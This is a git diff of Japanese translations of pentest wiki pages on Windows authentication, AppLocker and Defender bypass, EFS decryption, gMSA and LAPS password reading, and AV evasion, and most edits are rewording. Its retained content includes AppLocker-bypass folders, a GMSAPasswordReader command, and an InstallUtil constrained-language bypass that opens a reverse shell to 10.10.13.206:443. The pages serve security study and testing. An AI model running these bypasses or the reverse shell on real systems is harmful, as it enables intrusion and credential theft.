## RCP強制認証
-{% embed url="https://github.com/p0dalirius/Coercer" %}
+{{#ref}}
+https://github.com/p0dalirius/Coercer
+{{#endref}}
## PrivExchange
-`PrivExchange`攻撃は、**Exchange Serverの`PushSubscription`機能**に見つかった欠陥の結果です。この機能により、メールボックスを持つ任意のドメインユーザーがHTTPを介して任意のクライアント提供ホストに対してExchangeサーバーを強制的に認証させることができます。
+`PrivExchange`攻撃は、**Exchange Serverの`PushSubscription`機能**に見つかった欠陥の結果です。この機能により、メールボックスを持つ任意のドメインユーザーが、HTTP経由で任意のクライアント提供ホストに対してExchangeサーバーを強制的に認証させることができます。
-デフォルトでは、**ExchangeサービスはSYSTEMとして実行され**、過剰な特権が与えられています(具体的には、**2019年以前の累積更新に対するWriteDacl特権を持っています**)。この欠陥は、**情報をLDAPに中継し、その後ドメインNTDSデータベースを抽出する**ために悪用できます。LDAPへの中継が不可能な場合でも、この欠陥はドメイン内の他のホストに中継および認証するために使用できます。この攻撃の成功した悪用は、認証された任意のドメインユーザーアカウントでドメイン管理者への即時アクセスを許可します。
+デフォルトでは、**ExchangeサービスはSYSTEMとして実行され**、過剰な特権が与えられています(具体的には、**2019年以前の累積更新に対するドメインのWriteDacl特権**を持っています)。この欠陥は、**LDAPへの情報の中継を可能にし、その後ドメインNTDSデータベースを抽出する**ために悪用できます。LDAPへの中継が不可能な場合でも、この欠陥はドメイン内の他のホストに中継および認証するために使用できます。この攻撃の成功した悪用は、認証された任意のドメインユーザーアカウントでドメイン管理者への即時アクセスを許可します。
## Windows内部
@@ -88,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### メール経由
-もしあなたが侵害したいマシンにログインするユーザーの**メールアドレス**を知っているなら、**1x1画像**を含む**メール**を送信することができます。
+もしあなたが侵害したいマシンにログインしているユーザーの**メールアドレス**を知っているなら、**1x1画像**を含む**メール**を送信することができます。
```html
```
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md
index bdb38662e..078b29f27 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md
@@ -6,12 +6,12 @@
アプリケーションホワイトリストは、システム上で存在し実行されることが許可された承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、環境を有害なマルウェアや、組織の特定のビジネスニーズに合致しない未承認のソフトウェアから保護することです。
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は、マイクロソフトの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションとファイルを制御する**機能を提供します。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して**詳細な制御**を提供します。\
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は、Microsoftの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションとファイルを制御する**権限を与えます。これは、実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージアプリ、およびパックされたアプリインストーラーに対して**詳細な制御**を提供します。\
組織が**cmd.exeとPowerShell.exe**をブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、**これらはすべて回避可能です**。
### Check
-どのファイル/拡張子がブラックリスト/ホワイトリストに登録されているかを確認します:
+ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:
```powershell
Get-ApplockerPolicy -Effective -xml
@@ -26,7 +26,7 @@ $a.rulecollections
### バイパス
-- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意のものを実行することを許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。
+- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意の実行を許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
@@ -35,8 +35,8 @@ C:\windows\tracing
```
- 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)バイナリは、AppLockerを回避するのにも役立ちます。
- **不適切に書かれたルールも回避される可能性があります**
-- 例えば、**``**のように、**`allowed`**という**フォルダーを任意の場所に作成**すれば許可されます。
-- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`**実行可能ファイルを**ブロックすることに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`などです。
+- 例えば、**``**のように、**`allowed`**という**フォルダーを任意の場所に作成**すると、それが許可されます。
+- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`実行可能ファイルをブロックすることに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`などです。
- **DLLの強制は非常に稀に有効**であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が理由です。したがって、**DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます**。
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)や[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、**任意のプロセスでPowershell**コードを**実行し、AppLockerを回避する**ことができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を確認してください。
@@ -69,11 +69,11 @@ LSAはディスクにいくつかの資格情報を保存することがあり
## ディフェンダー
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)は、Windows 10およびWindows 11、Windows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール**(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。
+[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)は、Windows 10およびWindows 11、そしてWindows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。
### チェック
-**Defender**の**ステータス**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行できます(**`RealTimeProtectionEnabled`**の値を確認して、アクティブかどうかを知る):
+**Defender**の**ステータス**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行できます(**`RealTimeProtectionEnabled`**の値を確認して、アクティブかどうかを知ることができます):
PS C:\> Get-MpComputerStatus
@@ -103,27 +103,27 @@ sc query windefend
```
## Encrypted File System (EFS)
-EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用してファイルを暗号化することで保護します。この鍵はユーザーの**公開鍵**で暗号化され、暗号化されたファイルの$EFS **代替データストリーム**内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する**秘密鍵**を使用して$EFSストリームからFEKを復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)で確認できます。
+EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用してファイルを暗号化します。この鍵はユーザーの**公開鍵**で暗号化され、暗号化されたファイルの$EFS **代替データストリーム**内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する**秘密鍵**を使用して$EFSストリームからFEKを復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)で確認できます。
**ユーザーの操作なしでの復号シナリオ**には以下が含まれます:
- ファイルやフォルダーが[FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)のような非EFSファイルシステムに移動されると、自動的に復号されます。
- SMB/CIFSプロトコルを介してネットワーク上で送信された暗号化ファイルは、送信前に復号されます。
-この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを変更してログインするだけでは復号は許可されません。
+この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを単に変更してログインするだけでは復号は許可されません。
**重要なポイント**:
- EFSは、ユーザーの公開鍵で暗号化された対称FEKを使用します。
-- 復号にはユーザーの秘密鍵を使用してFEKにアクセスします。
-- FAT32へのコピーやネットワーク送信など、特定の条件下で自動的に復号が行われます。
+- 復号には、ユーザーの秘密鍵を使用してFEKにアクセスします。
+- FAT32へのコピーやネットワーク送信など、特定の条件下で自動復号が行われます。
- 暗号化ファイルは、追加の手順なしで所有者がアクセスできます。
### EFS情報の確認
-この**サービス**を**使用**した**ユーザー**がいるか確認するには、このパスが存在するかチェックします:`C:\users\\appdata\roaming\Microsoft\Protect`
+この**サービス**を**使用した**かどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect`
-ファイルへの**アクセス**権を確認するには、cipher /c \\を使用します。\
+ファイルへの**アクセス権**を確認するには、cipher /c \\
フォルダー内で`cipher /e`および`cipher /d`を使用して、すべてのファイルを**暗号化**および**復号**することもできます。
### EFSファイルの復号
@@ -134,33 +134,35 @@ EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用し
#### ユーザーのパスワードを知っていること
-{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
+{{#ref}}
+https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
+{{#endref}}
## Group Managed Service Accounts (gMSA)
-Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効であることが多いですが、gMSAはより安全で管理しやすいソリューションを提供します:
+Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効であることが多いのに対し、gMSAはより安全で管理しやすいソリューションを提供します:
-- **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
+- **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される240文字の複雑なパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
- **強化されたセキュリティ**:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。
- **複数ホストのサポート**:gMSAは複数のホストで共有できるため、複数のサーバーで実行されるサービスに最適です。
-- **スケジュールされたタスクの実行能力**:管理されたサービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
+- **スケジュールされたタスクの実行能力**:管理サービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
- **簡素化されたSPN管理**:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。
-gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。
+gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できます。これにより、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証されなければなりません。

-このパスワードは[**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**で読み取ることができます:**
+このパスワードは[**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**を使用して読み取ることができます:
```
/GMSAPasswordReader --AccountName jkohler
```
-[**この投稿で詳細を確認してください**](https://cube0x0.github.io/Relaying-for-gMSA/)
+[**この投稿で詳細情報を見つける**](https://cube0x0.github.io/Relaying-for-gMSA/)
また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法については、こちらの[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)を確認してください。
## LAPS
-**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
+**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて承認されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
{{#ref}}
active-directory-methodology/laps.md
@@ -236,7 +238,7 @@ SSPIは、通信を希望する2台のマシンに適切なプロトコルを見
- **Negotiate**: 使用するプロトコルを交渉するために使用されます(KerberosまたはNTLM、デフォルトはKerberos)
- %windir%\Windows\System32\lsasrv.dll
-#### 交渉は複数の方法を提供することもあれば、1つだけを提供することもあります。
+#### 交渉は複数の方法を提供することも、1つだけを提供することもあります。
## UAC - ユーザーアカウント制御
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index 85e63939e..43c38df8e 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -11,7 +11,7 @@
### Check
-ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:
+ブラックリストまたはホワイトリストに登録されているファイル/拡張子を確認します:
```powershell
Get-ApplockerPolicy -Effective -xml
@@ -26,73 +26,14 @@ $a.rulecollections
### バイパス
-- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意の実行を許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。
+- AppLockerポリシーをバイパスするための便利な**書き込み可能フォルダー**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の任意のものを実行することを許可している場合、**このバイパスに使用できる書き込み可能フォルダー**があります。
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
-- 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)バイナリは、AppLockerを回避するのにも役立ちます。
-- **不適切に書かれたルールも回避される可能性があります**
-- 例えば、**``**のように、**`allowed`**という**フォルダーを任意の場所に作成**すれば、それが許可されます。
-- 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`実行可能ファイルをブロックすることに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)を忘れがちです。例えば、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`などです。
-- **DLLの強制は非常に稀に有効**であり、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテストの量が理由です。したがって、**DLLをバックドアとして使用することでAppLockerを回避するのに役立ちます**。
-- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)や[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、**任意のプロセスでPowershell**コードを**実行し、AppLockerを回避する**ことができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を確認してください。
-
-## 資格情報の保存
-
-### セキュリティアカウントマネージャー (SAM)
-
-ローカル資格情報はこのファイルに存在し、パスワードはハッシュ化されています。
-
-### ローカルセキュリティ機関 (LSA) - LSASS
-
-**資格情報**(ハッシュ化されたもの)は、シングルサインオンの理由からこのサブシステムの**メモリ**に**保存**されます。\
-**LSA**はローカルの**セキュリティポリシー**(パスワードポリシー、ユーザー権限など)、**認証**、**アクセス トークン**を管理します。\
-LSAは、**SAM**ファイル内の提供された資格情報を**確認**し(ローカルログイン用)、ドメインユーザーを認証するために**ドメインコントローラー**と**通信**します。
-
-**資格情報**は**プロセスLSASS**内に**保存**されます:Kerberosチケット、NTおよびLMのハッシュ、簡単に復号化可能なパスワード。
-
-### LSAシークレット
-
-LSAはディスクにいくつかの資格情報を保存することがあります:
-
-- アクティブディレクトリのコンピュータアカウントのパスワード(到達不可能なドメインコントローラー)。
-- Windowsサービスのアカウントのパスワード
-- スケジュールされたタスクのパスワード
-- その他(IISアプリケーションのパスワードなど...)
-
-### NTDS.dit
-
-これはアクティブディレクトリのデータベースです。ドメインコントローラーにのみ存在します。
-
-## ディフェンダー
-
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)は、Windows 10およびWindows 11、Windows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。
-
-### チェック
-
-**Defender**の**ステータス**を確認するには、PSコマンドレット**`Get-MpComputerStatus`**を実行できます(**`RealTimeProtectionEnabled`**の値を確認して、アクティブかどうかを知る):
-
-PS C:\> Get-MpComputerStatus
-
-[...]
-AntispywareEnabled : True
-AntispywareSignatureAge : 1
-AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
-AntispywareSignatureVersion : 1.323.392.0
-AntivirusEnabled : True
-[...]
-NISEnabled : False
-NISEngineVersion : 0.0.0.0
-[...]
-RealTimeProtectionEnabled : True
-RealTimeScanDirection : 0
-PSComputerName :
-
-
-列挙するには、次のコマンドを実行することもできます:
+- 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)バイナリは、AppLockerを回避するのにも役立
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@@ -108,7 +49,7 @@ EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用し
**ユーザーの操作なしでの復号シナリオ**には以下が含まれます:
- ファイルやフォルダーが[FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)のような非EFSファイルシステムに移動されると、自動的に復号されます。
-- SMB/CIFSプロトコルを介してネットワーク上で送信された暗号化ファイルは、送信前に復号されます。
+- SMB/CIFSプロトコルを介してネットワーク上で送信される暗号化ファイルは、送信前に復号されます。
この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを単に変更してログインするだけでは復号は許可されません。
@@ -121,24 +62,26 @@ EFSは、**対称鍵**である**ファイル暗号化鍵(FEK)**を使用し
### EFS情報の確認
-**ユーザー**がこの**サービス**を**使用**したかどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect`
+この**サービス**を**使用した**かどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect`
ファイルへの**アクセス**権を確認するには、cipher /c \\を使用します。\
フォルダー内で`cipher /e`および`cipher /d`を使用して、すべてのファイルを**暗号化**および**復号**することもできます。
### EFSファイルの復号
-#### 権限システムであること
+#### 権限のあるシステムであること
この方法では、**被害者ユーザー**がホスト内で**プロセス**を**実行**している必要があります。その場合、`meterpreter`セッションを使用してユーザーのプロセスのトークンを偽装することができます(`incognito`の`impersonate_token`)。または、ユーザーのプロセスに`migrate`することもできます。
#### ユーザーのパスワードを知っていること
-{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
+{{#ref}}
+https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
+{{#endref}}
## Group Managed Service Accounts (gMSA)
-Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効であることが多いのに対し、gMSAはより安全で管理しやすいソリューションを提供します:
+Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは通常「**パスワードは期限切れにならない**」設定が有効ですが、gMSAはより安全で管理しやすいソリューションを提供します:
- **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。
- **強化されたセキュリティ**:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。
@@ -146,7 +89,7 @@ Microsoftは、ITインフラストラクチャにおけるサービスアカウ
- **スケジュールされたタスクの実行能力**:管理されたサービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
- **簡素化されたSPN管理**:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。
-gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続が「Sealing & Secure」で認証されている必要があります。
+gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。

@@ -154,13 +97,13 @@ gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存
```
/GMSAPasswordReader --AccountName jkohler
```
-[**この投稿で詳細情報を見つける**](https://cube0x0.github.io/Relaying-for-gMSA/)
+[**この投稿で詳細を確認してください**](https://cube0x0.github.io/Relaying-for-gMSA/)
-また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法についての[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)も確認してください。
+また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法については、この[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)を確認してください。
## LAPS
-**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
+**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて承認されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。
{{#ref}}
../active-directory-methodology/laps.md
@@ -181,7 +124,7 @@ $ExecutionContext.SessionState.LanguageMode
Powershell -version 2
```
現在のWindowsでは、そのバイパスは機能しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)を使用できます。\
-**コンパイルするには** **次のことが必要です** **参照を追加** -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`を追加し、**プロジェクトを.Net4.5に変更します**。
+**コンパイルするには** **次のことが必要です** **_**参照を追加**_ -> _参照_ ->_参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`を追加し、**プロジェクトを.Net4.5に変更します**。
#### 直接バイパス:
```bash
@@ -191,11 +134,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
-[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、**Powershell** コードを任意のプロセスで実行し、制約モードを回避できます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode) を確認してください。
+[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、任意のプロセスで **Powershell** コードを実行し、制約モードを回避できます。詳細については、次を確認してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
## PS 実行ポリシー
-デフォルトでは、**restricted** に設定されています。このポリシーを回避する主な方法:
+デフォルトでは **restricted** に設定されています。このポリシーを回避する主な方法:
```powershell
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@@ -229,7 +172,7 @@ SSPIは、通信を希望する2台のマシンに適切なプロトコルを見
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** および **NTLMv2**: 互換性の理由
- %windir%\Windows\System32\msv1_0.dll
-- **Digest**: WebサーバーおよびLDAP、MD5ハッシュ形式のパスワード
+- **Digest**: WebサーバーとLDAP、MD5ハッシュ形式のパスワード
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSLおよびTLS
- %windir%\Windows\System32\Schannel.dll
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
index 54d839cad..9253b7e54 100644
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@@ -10,11 +10,11 @@
### **静的検出**
-静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立て、ファイル自体から情報を抽出することによって達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
+静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
- **暗号化**
-バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。
+バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、プログラムをメモリ内で復号化して実行するためのローダーが必要になります。
- **難読化**
@@ -22,22 +22,22 @@
- **カスタムツール**
-独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。
+独自のツールを開発すれば、既知の悪意のあるシグネチャは存在しませんが、これには多くの時間と労力がかかります。
> [!NOTE]
-> Windows Defenderの静的検出に対して確認する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
